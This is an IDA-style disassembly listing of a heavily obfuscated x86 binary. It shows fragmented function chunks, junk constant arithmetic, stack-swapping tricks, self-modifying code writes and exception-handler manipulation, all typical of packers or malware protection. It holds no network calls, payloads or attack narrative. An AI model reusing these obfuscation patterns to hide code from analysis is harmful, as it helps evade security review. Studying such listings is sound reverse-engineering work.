; ---------------------------------------------------------------------------

loc_438B14:				; CODE XREF: y22d6.y.:004380FCj
					; y22d6.y.:00444BDEj
		xchg	eax, [esp]
		mov	edx, eax
		call	sub_44D088
		xchg	edi, [esp]
		mov	edx, edi
		jmp	loc_43A13E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_438B28:				; CODE XREF: sub_437FD8:loc_43FEFEj
		add	edx, ebp
		add	edx, 80AE98D6h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_441949
; END OF FUNCTION CHUNK	FOR sub_437FD8

; =============== S U B	R O U T	I N E =======================================



sub_438B39	proc near		; CODE XREF: y22d6.y.:004477B6j
					; sub_44CA21+8p

; FUNCTION CHUNK AT 004395EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439AEE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D273 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044ABDA SIZE 00000003 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44ABDA
		jmp	loc_4395EF
sub_438B39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_438B4D:				; CODE XREF: sub_44C980+E82j
		mov	eax, [esp+0]
		push	edx
		call	sub_443C3C
		mov	eax, 11C9A2C5h
		jmp	loc_437DB8
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------

loc_438B60:				; CODE XREF: y22d6.y.:004407A9j
		jns	loc_447E8D

; =============== S U B	R O U T	I N E =======================================



sub_438B66	proc near		; CODE XREF: sub_4383E0:loc_448B0Ep

; FUNCTION CHUNK AT 004375A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437790 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00438C96 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043937F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A519 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AB9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043B6BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043BAC6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C14E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E642 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E809 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043EA83 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F7F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004415E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441798 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044223A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004422E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442568 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442A31 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044450C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004448DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444B3C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004454A8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00445A42 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00446FDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447794 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D90 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448359 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004483FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004488A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004491AE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00449C10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A7F5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B544 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C254 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D2A1 SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		popf
		jmp	loc_4415E6
sub_438B66	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_438B72:				; CODE XREF: y22d6.y.:004371E9j
		xor	edx, 0D26576DCh
		rol	edx, 15h
		add	edx, 0A4F3A415h
		xchg	edx, [esp]
		jmp	sub_4396B2
; ---------------------------------------------------------------------------
		mov	esi, 31D7D9F8h
		jmp	loc_44BE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_438B93:				; CODE XREF: sub_44BF91-CA38j
		jl	loc_44855E
		add	edx, 0C3ECC6E8h
		mov	ebp, 45FCA337h
		jmp	loc_448559
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------

locret_438BA9:				; CODE XREF: y22d6.y.:loc_44433Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_438BAA:				; CODE XREF: sub_44057E+1030j
		jmp	sub_43EF0B
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_438BAF:				; CODE XREF: sub_4477E6:loc_4410A0j
		jmp	loc_44E4EF
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------

loc_438BB4:				; CODE XREF: y22d6.y.:loc_4382A4j
		jz	loc_44CA55
		jmp	loc_43EA9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438BBF:				; CODE XREF: sub_448EB6:loc_43B708j
		test	edi, 0E68C4A0Eh
		jmp	loc_44241D
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_438BCA:				; CODE XREF: sub_44AEDA-3B40j
		pop	ebx
		and	ebx, 7169990Eh
		push	offset loc_44876C
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
		and	ecx, 0AA84C607h
		jmp	sub_43B7B5
; ---------------------------------------------------------------------------

loc_438BE6:				; CODE XREF: y22d6.y.:00439496j
		jl	loc_44ABCD

; =============== S U B	R O U T	I N E =======================================



sub_438BEC	proc near		; CODE XREF: sub_43B98D:loc_43FCE5p

; FUNCTION CHUNK AT 00439975 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00441E91 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443AB8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004482B1 SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp+8]
		jmp	loc_439975
sub_438BEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_438BF8:				; CODE XREF: y22d6.y.:0044E29Aj
		sub	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_438BFA	proc near		; CODE XREF: sub_44CEE1-11094p
		xchg	ebx, [esp+0]
		pop	ebx
		pop	edi
sub_438BFA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439051

loc_438BFF:				; CODE XREF: sub_439051+Ej
					; sub_44156E:loc_44C6CAj
		add	eax, 4C2856F6h
		xor	eax, 70DEAA58h
		jmp	loc_43816C
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_438C10:				; CODE XREF: sub_44D6D0-3A1Aj
		adc	ecx, 0FA4290B5h

loc_438C16:				; CODE XREF: sub_44D6D0:loc_441DBCj
		mov	eax, offset dword_43C800
		mov	[ebp-4], eax
		mov	eax, offset dword_43C860
		mov	[ebp-8], eax
		mov	eax, offset dword_43C9BC

loc_438C2B:				; CODE XREF: sub_448EB6:loc_438E20j
		push	offset loc_443D7D
		jmp	loc_43AE6E
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------

loc_438C35:				; CODE XREF: y22d6.y.:loc_43A13Ej
		pop	edi
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		mov	ds:dword_44DD6C, edx

loc_438C42:				; CODE XREF: y22d6.y.:00440D93j
					; y22d6.y.:0044A97Cj
		xchg	eax, edx
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438C43:				; CODE XREF: sub_448EB6:loc_440578j
		call	sub_44DD60

loc_438C48:				; CODE XREF: y22d6.y.:0044920Ej
		jmp	loc_439954
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_438C4D:				; CODE XREF: sub_44633F-47E6j
		pop	edx
		rol	edx, 1Eh
		add	edx, 388595F4h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_442105
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_438C5F:				; CODE XREF: y22d6.y.:0043C700j
		push	6EEF4CCFh
		pop	edx
		add	edx, 8A74C069h
		or	edx, ds:4000E8h
		sub	edx, 12FD8CBDh
		add	edx, 19D4171Eh
		jmp	loc_447110
; ---------------------------------------------------------------------------

loc_438C82:				; CODE XREF: y22d6.y.:00449BD9j
		jnz	loc_43FD2C
		cdq
		jmp	loc_4496BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44571D

loc_438C8E:				; CODE XREF: sub_44571D+Ej
		inc	dword ptr [ebp-24h]
		jmp	loc_44D101
; END OF FUNCTION CHUNK	FOR sub_44571D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_438C96:				; CODE XREF: y22d6.y.:0043AE9Fj
					; y22d6.y.:loc_43D519j	...
		push	7E240A40h
		pop	eax
		rol	eax, 0Ah
		jmp	loc_449C10
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_438CA4	proc near		; CODE XREF: y22d6.y.:0044D605p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00449FF7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	esi, [esp-4+arg_0]
		jmp	loc_449FF7
sub_438CA4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_438CB0:				; CODE XREF: sub_43BEF7:loc_43BF3Bj
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	edx
		call	sub_447940

loc_438CBB:				; CODE XREF: sub_44A320+2j
		jmp	loc_43E0F8
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------

locret_438CC0:				; CODE XREF: y22d6.y.:00447342j
		retn
; ---------------------------------------------------------------------------
		and	ecx, edx
		jmp	loc_4452EB
; ---------------------------------------------------------------------------

loc_438CC8:				; DATA XREF: sub_441030:loc_44B69Do
		mov	edx, [ebp+8]
		mov	eax, [edx]
		add	edx, 4
		mov	edx, [edx]
		push	edx
		push	eax
		call	sub_448CFE
		mov	al, 1
		jmp	loc_4497F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43910C

loc_438CE0:				; CODE XREF: sub_43910C+7EA7j
		pushf
		mov	edx, 0C893032h
		or	edx, eax
		popf
		jz	sub_43A9C6
		jmp	loc_4488FD
; END OF FUNCTION CHUNK	FOR sub_43910C
; ---------------------------------------------------------------------------

loc_438CF4:				; CODE XREF: y22d6.y.:loc_443AE2j
		jo	loc_437111
		jo	loc_43F94A
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438D00:				; CODE XREF: y22d6.y.:loc_4384FDj
					; sub_448EB6-EE88j ...
		jmp	loc_43E5A5
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_438D05:				; CODE XREF: y22d6.y.:00440BEBj
					; y22d6.y.:0044D96Aj
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		jmp	loc_43D08C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_438D10:				; CODE XREF: sub_4432B8:loc_443505j
		xor	ebx, 3454FAA8h
		add	ebx, 23CCA6A8h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_44AA5D
		jmp	loc_4380C8
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_438D2A:				; CODE XREF: sub_43FFE2:loc_4415E1j
		pop	edx
		mov	eax, offset dword_4413DC
		call	sub_44B003
		cmp	ds:dword_4413E8, 0
		jmp	loc_43BAD1
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------

loc_438D41:				; CODE XREF: y22d6.y.:loc_43803Bj
		pop	ecx
		push	ebx
		push	0AF56E556h
		pop	ebx
		jmp	loc_448BF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_438D4F:				; CODE XREF: sub_44BCC2-2644j
		jmp	loc_44357A
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438D54:				; CODE XREF: sub_448EB6-5C23j
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A735

loc_438D59:				; CODE XREF: sub_43A735+Fj
		jmp	loc_44AD27
; END OF FUNCTION CHUNK	FOR sub_43A735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4498DE

loc_438D5F:				; CODE XREF: sub_4498DE+9j
		jmp	loc_4492A7
; END OF FUNCTION CHUNK	FOR sub_4498DE
; ---------------------------------------------------------------------------

loc_438D64:				; CODE XREF: y22d6.y.:0043F8C4j
		pop	esi

loc_438D65:				; CODE XREF: y22d6.y.:0044A6D4j
		add	esi, 0E27CF559h
		sub	esi, 8651D14Ch
		add	esi, 23A9E57h
		jmp	loc_44140E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437680

loc_438D7C:				; CODE XREF: sub_437680:loc_43BB05j
		add	[ebp-0Ah], al
		xor	eax, eax
		mov	al, [ebp-0Ah]
		shr	eax, 4
		jmp	loc_44A9CB
; END OF FUNCTION CHUNK	FOR sub_437680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_438D8C:				; CODE XREF: sub_43E5C2+6j
		mov	eax, ds:dword_43A6D8
		or	eax, eax
		jnz	loc_43ACD6
		jmp	loc_43AA5D
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_438D9F:				; CODE XREF: sub_44BBBA-13A84j
		jz	loc_43E060
		jmp	loc_440A9C
; END OF FUNCTION CHUNK	FOR sub_44BBBA

; =============== S U B	R O U T	I N E =======================================



sub_438DAA	proc near		; DATA XREF: sub_4432B8-5F0Do

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043DE53 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004445A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444618 SIZE 00000005 BYTES

		push	0FFFFFFFFh
		push	0
		push	eax
		push	0E4CF870h
		pop	eax
		add	eax, 1E994FDEh
		and	eax, 4625AA39h
		jmp	loc_444618
sub_438DAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_438DC6:				; CODE XREF: sub_44B17B:loc_4488C8j
		pop	ecx
		xor	eax, 5ED553AFh
		ror	eax, 9
		call	sub_437901
; END OF FUNCTION CHUNK	FOR sub_44B17B
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_438DD5:				; CODE XREF: sub_43C6D7+8B8Dj
		jmp	loc_439489
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
		xchg	esi, [ebx]
		jmp	sub_44DAA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_438DE1:				; CODE XREF: sub_4452EE+234Aj
		jz	loc_443C2F
		jmp	loc_43E4E3
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
		jle	loc_449A6B
		jmp	loc_4420AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD7A

loc_438DF7:				; CODE XREF: sub_43FD7A+8923j
		or	edi, 0A65F2E6h
		xor	edi, 0ABF248FDh
		add	edi, 2F3BDB0Fh
		xchg	edi, [esp+0]
		jmp	sub_43EC92
; END OF FUNCTION CHUNK	FOR sub_43FD7A
; ---------------------------------------------------------------------------
		mov	edx, 0DDABAF17h
		call	sub_44190B
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_438E1B:				; CODE XREF: sub_43B0EE+4F6Bj
					; sub_43B09B:loc_444FD9j
		jmp	loc_44D28C
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438E20:				; CODE XREF: sub_448EB6-F5BCj
		jmp	loc_438C2B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_438E25:				; CODE XREF: sub_440280-628j
		test	ebp, ebx
		jmp	loc_437573
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
		push	0BFFD7BCAh
		pop	eax
		sub	eax, 0EA3B3D0Fh
		xor	eax, 0EA536CC8h
		add	eax, 7E46C856h
		rol	eax, 17h
		add	eax, 8A07A1E4h
		call	sub_43F7FF
		jmp	loc_445C00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_438E57:				; CODE XREF: sub_440280+C0EEj
		sbb	ebp, esi
		xor	ebp, eax
		test	ebp, 8F119B3Ah
		jmp	loc_4493F8
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_438E66:				; CODE XREF: y22d6.y.:00444087j
					; sub_444871:loc_44C533j
		rol	eax, 2
		push	ecx
		push	65AE8A8h
		pop	ecx
		xor	ecx, 3F96BD75h
		jmp	loc_4455CF
; END OF FUNCTION CHUNK	FOR sub_444871

; =============== S U B	R O U T	I N E =======================================



sub_438E7B	proc near		; CODE XREF: y22d6.y.:0043E508j
					; sub_449C1B-6FBp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		mov	edi, ebx
		pop	ebx
		retn
sub_438E7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438E86	proc near		; CODE XREF: sub_4384B4+562Bp
					; sub_43F891+4p ...

; FUNCTION CHUNK AT 0043E8FA SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_43E8FA
sub_438E86	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443D70

loc_438E8E:				; CODE XREF: sub_443D70:loc_445D3Aj
		call	sub_43B0EE
; END OF FUNCTION CHUNK	FOR sub_443D70
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_438E93:				; CODE XREF: sub_44AEDA-9EDFj
		jmp	loc_43F041
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_438E98:				; CODE XREF: y22d6.y.:loc_43A859j
		mov	edx, [esp]
		push	offset sub_445382
		jmp	loc_44A19C
; ---------------------------------------------------------------------------

loc_438EA5:				; CODE XREF: y22d6.y.:loc_445993j
		and	ebx, 1CD2ABEEh
		jmp	loc_443780
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44051D

loc_438EB6:				; CODE XREF: sub_44051D+CD6Aj
		jmp	loc_44CCEF
; END OF FUNCTION CHUNK	FOR sub_44051D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_438EBB:				; CODE XREF: sub_44271A+7E49j
		jmp	loc_43AFED
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_438EC0:				; CODE XREF: sub_440494-2462j
		jmp	loc_43A25C
; END OF FUNCTION CHUNK	FOR sub_440494
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_338. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	al, 24h
		mov	edx, ebx
		pop	ebx
		jnb	loc_43C30F
		mov	eax, [esp]
		push	edx
		call	sub_43E3BD

loc_438EDA:				; CODE XREF: y22d6.y.:00448582j
		jmp	loc_44C233
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_438EDF:				; CODE XREF: sub_43B09B+9F61j
		jmp	loc_44D23E
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_438EE4:				; CODE XREF: sub_444581:loc_43879Fj
		add	edi, 0ADD5DAFBh
		popf
		jmp	loc_437AE5
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

locret_438EF0:				; CODE XREF: y22d6.y.:loc_448DCCj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_438EF1:				; CODE XREF: sub_43E185+Cj
		jmp	loc_43953F
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_438EF6:				; CODE XREF: sub_440280+1E8Cj
		jno	loc_446110
		xchg	esi, ebx
		add	ebp, eax

loc_438F00:				; CODE XREF: sub_448EB6:loc_43B072j
					; sub_448EB6-AFB0j ...
		jmp	loc_43ED9E
; ---------------------------------------------------------------------------

loc_438F05:				; CODE XREF: sub_448EB6-889j
					; sub_440280+D088j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_438F08:				; CODE XREF: sub_444541+6222j
		jmp	loc_43A154
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_438F0D:				; CODE XREF: sub_44633F-2F3j
		jmp	loc_43BFA7
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_438F12:				; CODE XREF: sub_43B09B+2FFEj
		jmp	sub_43B09B
; END OF FUNCTION CHUNK	FOR sub_43B09B

; =============== S U B	R O U T	I N E =======================================



sub_438F17	proc near		; CODE XREF: sub_43872E-153Fp
					; sub_43BEF7-15FEp ...

; FUNCTION CHUNK AT 004429C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004485CC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044AA92 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_4429C4
sub_438F17	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BA0

loc_438F1D:				; CODE XREF: sub_448BA0:loc_44BD0Ej
		xchg	edi, [esp+0]
		jmp	loc_441FAF
; END OF FUNCTION CHUNK	FOR sub_448BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_438F25:				; CODE XREF: sub_43C7C1-22B4j
		sbb	edx, ebp
		sub	eax, 3EA026BBh
		xor	edx, 0CF6B381Eh
		test	edx, ecx
		jmp	loc_438706
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
		rol	ebx, 15h
		jmp	loc_44D198

; =============== S U B	R O U T	I N E =======================================



sub_438F42	proc near		; DATA XREF: y22d6.y.:0043FC7Do

; FUNCTION CHUNK AT 004464AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C86E SIZE 00000011 BYTES

		push	ebx
		push	423C0C41h
		pop	ebx
		rol	ebx, 1
		jmp	loc_4464AD
sub_438F42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_438F50:				; CODE XREF: sub_43837F+7D8Aj
		jnz	loc_43AB5A
		mov	eax, 6
		sub	eax, [ebp-4]
		mov	[ebp-4], eax
		jmp	loc_43E974
; END OF FUNCTION CHUNK	FOR sub_43837F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438F66	proc near		; CODE XREF: sub_4480DE+15D7p
					; sub_4480DE+51ECp
		push	ebp
		mov	ebp, esp
		jmp	sub_44B196
sub_438F66	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_438F6E:				; CODE XREF: sub_43CBF3+E0E9j
		jge	loc_43DF39
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_438F74:				; CODE XREF: sub_4432B8-5F08j
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C41

loc_438F79:				; CODE XREF: sub_442C41-6878j
		jmp	loc_440359
; END OF FUNCTION CHUNK	FOR sub_442C41
; ---------------------------------------------------------------------------
		not	eax
		xor	ebx, edi
		sub	eax, ecx
		cmp	esi, edx
		jmp	loc_43DF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_438F8B:				; CODE XREF: sub_439FCB+5059j
		mov	[ecx], eax
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		jmp	loc_43ADAB
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_438F98:				; CODE XREF: sub_44529A:loc_43E949j
					; sub_44B489:loc_44A447j
		lea	eax, loc_43E343
		mov	byte ptr [eax],	0C3h
		jmp	loc_4401F5
; END OF FUNCTION CHUNK	FOR sub_44B489

; =============== S U B	R O U T	I N E =======================================



sub_438FA6	proc near		; CODE XREF: sub_40158F+156p
					; sub_438FA6+5j
					; DATA XREF: ...
		call	sub_438FBB
		jmp	ds:off_41E020
sub_438FA6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448488

loc_438FB1:				; CODE XREF: sub_448488-6C01j
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_448488
; ---------------------------------------------------------------------------

loc_438FB6:				; CODE XREF: y22d6.y.:00440EB0j
		jmp	loc_44C048

; =============== S U B	R O U T	I N E =======================================



sub_438FBB	proc near		; CODE XREF: sub_438FA6p
					; y22d6.y.:0044111Dj ...

; FUNCTION CHUNK AT 00444642 SIZE 00000005 BYTES

		pop	edx
		push	offset loc_43B8D2
		jmp	loc_444642
sub_438FBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_438FC6	proc near		; DATA XREF: sub_43FFBB+87E1o

arg_4		= dword	ptr  8

		mov	esp, [esp+arg_4]
sub_438FC6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439932

loc_438FCA:				; CODE XREF: sub_439932+4j
					; y22d6.y.:0043A005j ...
		xor	eax, eax

loc_438FCC:				; CODE XREF: sub_439932+CA4j
					; y22d6.y.:004485B1j
		pop	large dword ptr	fs:0
		pop	edx
		push	offset loc_4470A9
		jmp	loc_43CBC8
; END OF FUNCTION CHUNK	FOR sub_439932
; ---------------------------------------------------------------------------
word_438FDE	dw 0C081h		; DATA XREF: sub_438F17+F6C3o
		dd 0C5F526Eh, 9AE8008Bh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_438FEB:				; CODE XREF: y22d6.y.:loc_44E25Dj
		jz	loc_438537
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_438FF1:				; CODE XREF: sub_43DB23+E8BDj
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_43DB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_438FF6:				; CODE XREF: sub_43F422+16j
		jmp	loc_444FAD
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
		jns	loc_445822
		jmp	loc_43852E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_439006:				; CODE XREF: sub_442FA7-694Dj
		jnz	loc_4398D2
		jz	loc_447136
		jmp	loc_4494E6
; END OF FUNCTION CHUNK	FOR sub_442FA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_439017:				; CODE XREF: sub_44BBBA:loc_43B58Aj
		jl	loc_4449DB

loc_43901D:				; CODE XREF: y22d6.y.:0043FD21j
		jmp	loc_43B69A
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
		sbb	edi, esi
		rol	edx, 1Dh
; START	OF FUNCTION CHUNK FOR sub_449CBB

loc_439027:				; CODE XREF: sub_449CBB:loc_449CC8j
		xor	edx, esi
